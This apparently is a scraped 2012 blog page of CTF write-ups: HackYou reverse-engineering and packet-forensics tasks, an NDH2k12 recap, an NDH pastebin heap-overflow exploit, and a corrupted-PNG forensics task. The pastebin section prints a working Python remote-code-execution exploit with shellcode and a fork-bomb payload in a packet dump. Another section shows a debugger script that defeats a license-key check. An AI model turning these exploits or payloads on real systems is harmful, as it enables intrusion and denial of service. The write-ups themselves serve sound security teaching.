old_mmap(0xf775d000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf775d000
munmap(0xfffffffff775a000, 9036)        = 0
close(3)                                = 0
open("/tmp/upxCRBOGQOAFQI", O_RDONLY)   = 3
getpid()                                = 5640
access("/proc/5640/fd/3", R_OK|X_OK)    = 0
unlink("/tmp/upxCRBOGQOAFQI")           = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
execve("/proc/5640/fd/3", ["./task3.bin"], [/* 41 vars */]) = 0

The binary is unpacking itself into a file "/tmp/upxCRBOGQOAFQI", which is a randomly generated name. Then it is unlinked and executed by execve().

The unlink() function is guaranteed to unlink the file from the file system hierarchy but keep the file on disk until all open instances of the file are closed.

Once the execution is over, the file is deleted, so we need to find the file name, and copy the file elsewhere before it's unlinked. Let's toggle a breakpoint before execve() then.

(gdb) b *0x004024dd
Breakpoint 1 at 0x4024dd
(gdb) r
Starting program: /tmp/task3.bin 
Breakpoint 1, 0x004024dd in ?? ()
(gdb) x/s $ebx
0xffffd494:	"/proc/12767/fd/7"
% file /proc/12767/fd/7
/proc/12767/fd/7: broken symbolic link to `/tmp/upxC5RF3NOAMO5 (deleted)'

Ok! Now we can work on the unpacked binary.

Step 2 - Keygen

Our routine is sub_8048617.
Several conditions must be met:

  • - argv[1] = username
  • - argv[2] = password
  • - username != 'hackyou'
  • - len(password) == 14
  • - password[4] == '-' and password[8] == '-'
  • - sub_804838C(username, password) == True
  • - sub_804844B(username, password[5:]) == True
  • - sub_804850A(username, password[10:]) == True

Although our username must not be 'hackyou', if you take a look at sub_80485F0, the goodboy message, you'll notice it prints "Great! Now submit the license key for 'hackyou'".
sub_804838C, sub_804844B and sub_804850A all proceed in the same way, which finally compares individually 4 bytes of the given password parameter:


Our password character is in edx, the expected one is in eax. Lazy as i am, i didn't go much deeper :)

All we need now is to break on:

.text:0804842B                 cmp     eax, edx

... dump eax, and fix edx so that it will be equal to eax. Same for the two last routines. Let's create a basic pythonGDB script to do the work for us.

import gdb
passwd = ""
passwd_len = 0
def callback_username_condition():
    gdb.execute("set $eax=1")
def callback_compare_password():
    global passwd, passwd_len
    gdb.execute("set $edx=$eax")
    if passwd_len in (4, 9):
        passwd += '-'
        passwd_len += 1
    passwd += chr(gdb.parse_and_eval("$eax"))
    passwd_len += 1
    print "[+]", passwd
class HitBreakpoint(gdb.Breakpoint):
    def __init__(self, loc, callback):
        super(HitBreakpoint, self).__init__(
            loc, gdb.BP_BREAKPOINT, internal=False
        self.callback = callback
    def stop(self):
        return False
HitBreakpoint("*0x08048665", callback_username_condition)
HitBreakpoint("*0x0804842B", callback_compare_password)
HitBreakpoint("*0x080484EA", callback_compare_password)
HitBreakpoint("*0x080485A9", callback_compare_password)

And run it...

(gdb) source 
Breakpoint 1 at 0x8048665
Breakpoint 2 at 0x804842b
Breakpoint 3 at 0x80484ea
Breakpoint 4 at 0x80485a9
(gdb) r hackyou 0123-4567-8910
Starting program: /tmp/unpacked_rev300 hackyou 0123-4567-8910
warning: Could not load shared library symbols for
Do you need "set solib-search-path" or "set sysroot"?
[+] k
[+] ke
[+] kec
[+] kecc
[+] kecc-h
[+] kecc-ha
[+] kecc-hac
[+] kecc-hack
[+] kecc-hack-y
[+] kecc-hack-yo
[+] kecc-hack-yo0
[+] kecc-hack-yo0u
Great! Now submit the license key for 'hackyou'
[Inferior 1 (process 14524) exited with code 01]

Flag: kecc-hack-yo0u

HackYou CTF - Packets100, Packets200, Packets300 Writeups

Epic Arc Mister You is willing to hire someone who can repeat his investigation. Arc starts from here

Part 1. Find the secret link in this conversation

Part 2. What's the md5 of the file being transferred?

Part 3. Find and solve it. It's up to you

Packets 100 - Epic Arc Pt.1

Download file epicark100.pcap.
Open with Wireshark: Menu: Files -> Export Objects -> HTTP -> Save All.

% grep key *

Key is in message(2), that's also the link to download Packets 300 challenge.


Packets 200 - Epic Arc Pt.2

Download file epicark200.
Open with Wireshark. Notice a "Request: SIZE /tcp_serv.beam" on frame 11, and the answer: 3048 in frame 12.
Data transfer begin at frame 15 "Request: RETR /tcp_serv.beam".
Go to frame 17, Follow TCP stream, Save. Notice it displays a "Entire conversation (3048 bytes)", so we are all good.

% md5sum tcp_serv.beam  
77f92edb199815b17e2ff8da36e200df  tcp_serv.beam

Flag: 77f92edb199815b17e2ff8da36e200df

Packets 300 - Epic Arc Pt.3

Download file epicark300.
Open with Wireshark: Menu: Files -> Export Objects -> HTTP -> Save All.
We find a ctf.exe file, we need to reverse it. Here is a summary of what it is doing:

  • - receive a 8 bytes key from the remote server :
  • - key ^= '_hackme_'
  • - XOR "FlagRequest:omkesey" with key
  • - send this to the server
  • - receive the flag, XORed with key

At first I believed the flag would be within the provided packets.
Let's follow the TCP stream:

Extract the red part and xor it with "FlagRequest:omkesey", we obtain the key.
Now we xor the last blue part with that key and obtain ... "someflag". #FAIL.

Let's launch ctf.exe with wine, and sniff it with wireshark. We obtain the stream below:

Same process but this time we obtain: "Hire_m3_mister_U".

Flag: Hire_m3_mister_U

Tuesday, July 3 2012 12:03

NDH2k12 - Debriefing


We just participated in the "Nuit du Hack" CTFs the two last weekends. CTFs, with a "s", because there was two of them : a private and a public CTF. The 23 june was the "Nuit du Hack" event, and it was originally planned that the two CTFs take place here, in the same time, but unfortunately the public CTF was reported to the next weekend because of technical issues.

* Private CTF :

This was an attack/defense CTF ! Each team (13 in total) had a server with a dozen of services to patch/protect/attack.
We successfully exploited some webapp, and a so called "pastebin" challenge (a RCE caused by an overflow in a log parsing program), which played an important role in this CTF as we'll see :)

Unfortunately for us, at some time of the night (~ 3h30), almost all teams lost access to their VM, and without really knowing what was the cause of this situation, the staff decided to prematurely stop the CTF. So after validating our preciously keeped flags (~ 20 :p) we finished at the 2nd place with 4250pts, just behind HackerDom with 4960pts. This is not a bad score, but this left us with a slight taste of biterness when we latter learned what really happened : a team actually launched a fork bomb on the pastebin service (him again !) shutting down all the unpatched teams (More information : here(EN), here(EN), here(EN), here(EN), here(FR), here(FR) and here)

Since the pastebin was the one causing so much trouble, we wrote a little write-up that you can find here :)


* Public CTF :

So the public challenge was reported to the next weekend, and lasted 48h. This time it was a "classic" CTF, with some challenges to solve in categories like WebApp, Crackme, Forensics, Stegano or Crypto.
This time we finished 1st, with a total of 13710 points, by solving 23 out of 28 challenges \o/
You can find a few write ups here :


NDH2k12 Write-up Pastebin

The first thing we have for this challenge, is a "pastebin-like" website, with possibility to create, display, and delete entries
All actions are logged in the "pastebin.log" file, and new pastes are created in files "data/".md5($title).

The second part, is a cron job running every minute, calling the binary "resources/parse" which parses the pastebin.log file and update "resources/stats.html" with the current number of pastes, the number of actions, logged attacks (xss, lfi, sqli, ...). This file is then displayed in the website's index.

We also notice that the flag is in "resources/functions.php".

Here is the code for creating new pastes :

$log = fopen('pastebin.log', 'a');
if(isset($_POST['title'], $_POST['text'], $_POST['time'])) {
    $name = md5($_POST['title']);
    $time = intval($_POST['time']);
    file_put_contents("data/$name", $_POST['title']."\x00".$_POST['text']);
    $len = strlen($_POST['text']);
    fwrite($log, $time.' + '.$len.' '.$name.' '.$_POST['title']."\n");
    header("Location: ?id=$name");

So a log entry has the following format :

timestamp + post_length md5_title title\n

Now the vulnerability. It's located in the "get_parse" routine of the parse binary :

void *__cdecl get_paste(int inputfd)
  char req_type; // [sp+2Bh] [bp-Dh]@1
  void *buffer; // [sp+2Ch] [bp-Ch]@1
  buffer = malloc(0x12Cu);
  __isoc99_fscanf(inputfd, "%d %c %d", buffer, &req_type, (char *)buffer + 292);
  if ( *(_DWORD *)buffer )
    switch ( req_type )
      case '-':
        *((_DWORD *)buffer + 74) = handle_del;
      case '?':
        *((_DWORD *)buffer + 74) = handle_query;
      case '+':
        *((_DWORD *)buffer + 74) = handle_add;
        buffer = 0;
    __isoc99_fscanf(inputfd, "%32s %[^\n]s\n", (char *)buffer + 259, (char *)buffer + 4);
    buffer = 0;
  return buffer;

As we can see a buffer is allocated to hold the current paste's information. The first fscanf writes the timestamp at the beginning of the buffer (offset +0), the type in a separated variable (req_type) and the title's length at the end of the buffer (offset +292).
A handler pointer is then placed at buffer+74*4 (offset +296), and finally the second fscanf copies the title just after the timestamp (offset +4) without length control.
So the title (that we control) just has to be longer than 292 bytes to overflow, and overwrite the handler pointer, causing a segfault :

~/vhosts/ndhpastebin$ cat pastebin.log 
1340853859 + 2 c73301b7b71679067b02cff4cdc5e700 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
1340853866 ? 0 c73301b7b71679067b02cff4cdc5e700 c73301b7b71679067b02cff4cdc5e700
~/vhosts/ndhpastebin$ ./resources/parse pastebin.log aaa
Erreur de segmentation (core dumped)
~/vhosts/ndhpastebin$ gdb resources/parse core
Core was generated by `./resources/parse pastebin.log aaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x/16wx $eax
0x8d582d8:        0x4febce63        0x61616161        0x61616161        0x61616161
0x8d582e8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d582f8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d58308:        0x61616161        0x61616161        0x61616161        0x61616161

We have overwritten EIP, and at the time of the crash, EAX points to the beginning of the buffer (timestamp + title).
The heap being executable, two "call eax" allow us to gain execution by directly jumping into our buffer :

~/vhosts/ndhpastebin$ objdump -D resources/parse | grep call | grep eax
 80486c8:        ff 14 85 8c a0 04 08         call   *0x804a08c(,%eax,4)
 804870f:        ff d0                        call   *%eax
 8048e0b:        ff d0                        call   *%eax

The timestamp is also not a problem, since it is also supplied by the user (variable $_POST['time']). So we'll just submit a timestamp equals to 0x90909090, then our shellcode in the title (padded to 292 bytes) followed by the address of one of the previous "call eax". And that's it :)
As we are in an attack/defense CTF, reverse-shells may be blocked, or monitored, so we'll use a shellcode to copy the wanted flag into an accessible location (we'll of course make sure to remove this file afterwards...)

This vulnerability has also been used by one of the team (Les_Pas_Contents) to execute a persistent fork-bomb, causing a lot of teams to loose access to their server, and an early end to the CTF...(thanks delroth for the attack dump). Here's the attack, in the 4th packet from :

0040  18 66 50 4f 53 54 20 2f 20 48 54 54 50 2f 31 2e   .fPOST / HTTP/1.
0050  31 0d 0a 48 6f 73 74 3a 20 6c 6f 63 61 6c 68 6f   1..Host: localho
0060  73 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65   st..Content-Type
0070  3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d   : application/x-
0080  77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f   www-form-urlenco
0090  64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e   ded..Content-Len
00a0  67 74 68 3a 20 39 31 37 0d 0a 0d 0a 74 69 74 6c   gth: 917....titl
00b0  65 3d 25 36 61 25 30 32 25 35 38 25 63 64 25 38   e=%6a%02%58%cd%8
00c0  30 25 65 62 25 66 39 25 63 63 25 34 32 25 34 32   0%eb%f9%cc%42%42

Disassembled code:

00000000  6A02              push byte +0x2
00000002  58                pop eax
00000003  CD80              int 0x80           ; fork()
00000005  EBF9              jmp short 0x0      ; infinite loop

How to patch the vulnerability :
A quick and dirty fix consists in directly edit the format string of the second fscanf in the parse binary, to set a length limit for the title :
(here we replaced "[\n]" by "0290")

__isoc99_fscanf(inputfd, "%32s %0290s\n", (char *)buffer + 259, (char *)buffer + 4);

Exploit :

import urllib2, sys, struct
# /bin/cp /var/www/pastebin/resources/functions.php /var/www/pastebin/nawak.txt
shellcode = "\x31\xc0\x66\xb8\x10\x10\x29\xc4\x89\xe1\x29\xc1\x31\xc0\x89\x01\x31\xc0\xb0\x74\xc1\xe0\x08\xb0\x78\xc1\xe0\x08\xb0\x74\x50\x68\x77\x61\x6b\x2e\x68\x6e\x2f\x6e\x61\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\x50\x68\x73\x2e\x70\x68\x68\x74\x69\x6f\x6e\x68\x66\x75\x6e\x63\x68\x63\x65\x73\x2f\x68\x73\x6f\x75\x72\x68\x6e\x2f\x72\x65\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\xc1\xe0\x08\xb0\x63\xc1\xe0\x08\xb0\x2f\x50\x68\x2f\x62\x69\x6e\x49\x49\x49\x49\x89\x21\x89\xe3\x31\xc0\x50\x89\xe2\x31\xc0\xb0\x0b\xcd\x80"
addr =  "08048e0b".decode("hex")[::-1] # call eax
stamp = struct.unpack("<i","\x90"*4)
title = shellcode.rjust(292,"\x90")
title += addr
if len(sys.argv)<2:
    print ("Usage: ", argv[0], " url")
url = sys.argv[1]
def exploit():
    p =urllib2.urlopen(url, "title=" + urllib2.quote(title) + "&time=" + str(stamp) + "&text=bollocks")

Monday, July 2 2012 21:08

NDH2k12-wargame Write-up What the file ?

Name What the file ?
Score 1000
Content While doing some forensics, an analyst found a weird file. Please help him.

We have this file unknown.bin

$ file unknown.bin.png
unknown.bin.png: PNG image data, CORRUPTED
$ pngcheck -vt7f unknown.bin
File: unknown.bin (1179008 bytes)
File is CORRUPTED.  It seems to have suffered EOL conversion.
It was probably transmitted in text mode.

Ok, it's a corrupted PNG that we have to patch.

We realized that the lengths and the chunks' names are affected by several alterations.

We begun by correcting those names and lengths for each chunk.

A quick reminder from the RFC 2083 about the chunk layout :

	A 4-byte unsigned integer giving the number of bytes in the
	chunk's data field. The length counts only the data field, not
	itself, the chunk type code, or the CRC.  Zero is a valid
	length.  Although encoders and decoders should treat the length
	as unsigned, its value must not exceed (2^31)-1 bytes.

Chunk Type
	A 4-byte chunk type code.  For convenience in description and
	in examining PNG files, type codes are restricted to consist of
	uppercase and lowercase ASCII letters (A-Z and a-z, or 65-90
	and 97-122 decimal).  However, encoders and decoders must treat
	the codes as fixed binary values, not character strings.  For
	example, it would not be correct to represent the type code
	IDAT by the EBCDIC equivalents of those letters.  Additional
	naming conventions for chunk types are discussed in the next

Chunk Data
	The data bytes appropriate to the chunk type, if any.  This
	field can be of zero length.

	A 4-byte CRC (Cyclic Redundancy Check) calculated on the
	preceding bytes in the chunk, including the chunk type code and
	chunk data fields, but not including the length field. The CRC
	is always present, even for chunks containing no data.  See CRC
	algorithm (Section 3.4).

No apparent problem for IHDR, sBIT, pHYs, tEXt(Software) and IEND chunks.

For IDAT chunks, we can understand that they're 8192 bytes long.
We scripted the thing to patch the file from offset 0x6A each 8204 bytes (8192 + 4 + 4 + 4) to 00 00 20 00 49 44 41 54 (Length + "IDAT").

$ pngcheck -vt7f unknown.bin.png
  chunk IDAT at offset 0x11c717, length 8192
  chunk IDAT at offset 0x11e723, length 8192:  EOF while reading data

We almost got a proper and genuine png file from pngcheck's point of view, except the latest IDAT chunk. This is normal, as this chunk is the latest one and isn't 8192 bytes long.

We fixed this by correcting with that value : size until the end of file - IEND chunk (12 bytes) - checksum (4 bytes) = 5705 bytes (0x1649).

$ pngcheck -vt7f unknown.bin.png
  chunk IDAT at offset 0x11c717, length 8192
  chunk IDAT at offset 0x11e723, length 5705
  CRC error in chunk IDAT (actual 66b9b445, should be 68cf7786)
  chunk IEND at offset 0x11fd78, length 0

Weird, the checksum is not correct, unlike all the IDAT checksums so far...We'll see later.

As the image can be open with several editors, some others won't because of the latest chunk's checksum. Nevertheless, we can see our old Chuck Norris and only half of the flag.



So at this time we have the first part of the flag...

The wrong checksum of the last IDAT is probably a good clue to get the second part of the flag.
At the end of the file, we can see above IEND chunk a ...zTX3..., maybe a zTXt chunk ? Let's give it a try...

The length will be 27 bytess, 0x1B.
We also changed the length of the last IDAT chunk, 5705 - 27 - 12 = 5666 that's to say 0x1622.

Excellent, this time no more problem with checksums.

$ pngcheck -vt7f unknown.bin.png
  chunk IDAT at offset 0x11e723, length 5666
  chunk zTXt at offset 0x11fd51, length 27:   keyword has control characters, keyword: x\DA\D3\D3C\05\96\A9\06\C9\16\A6I\86\86i\89I\A6\A6\C9f
    (compressed zTXt text)
  zTXt chunk contains one or more control characters
  chunk IEND at offset 0x11fd78, length 0

Then let's decompress the string with zlib.

import zlib
print zlib.decompress("78 DA D3 D3 43 05 96 A9 06 C9 16 A6 49 86 86 69 89 49 A6 A6 C9 66 00 6D 17 07 6F".replace(" ","").decode("hex"))


w3ll done

- page 1 of 2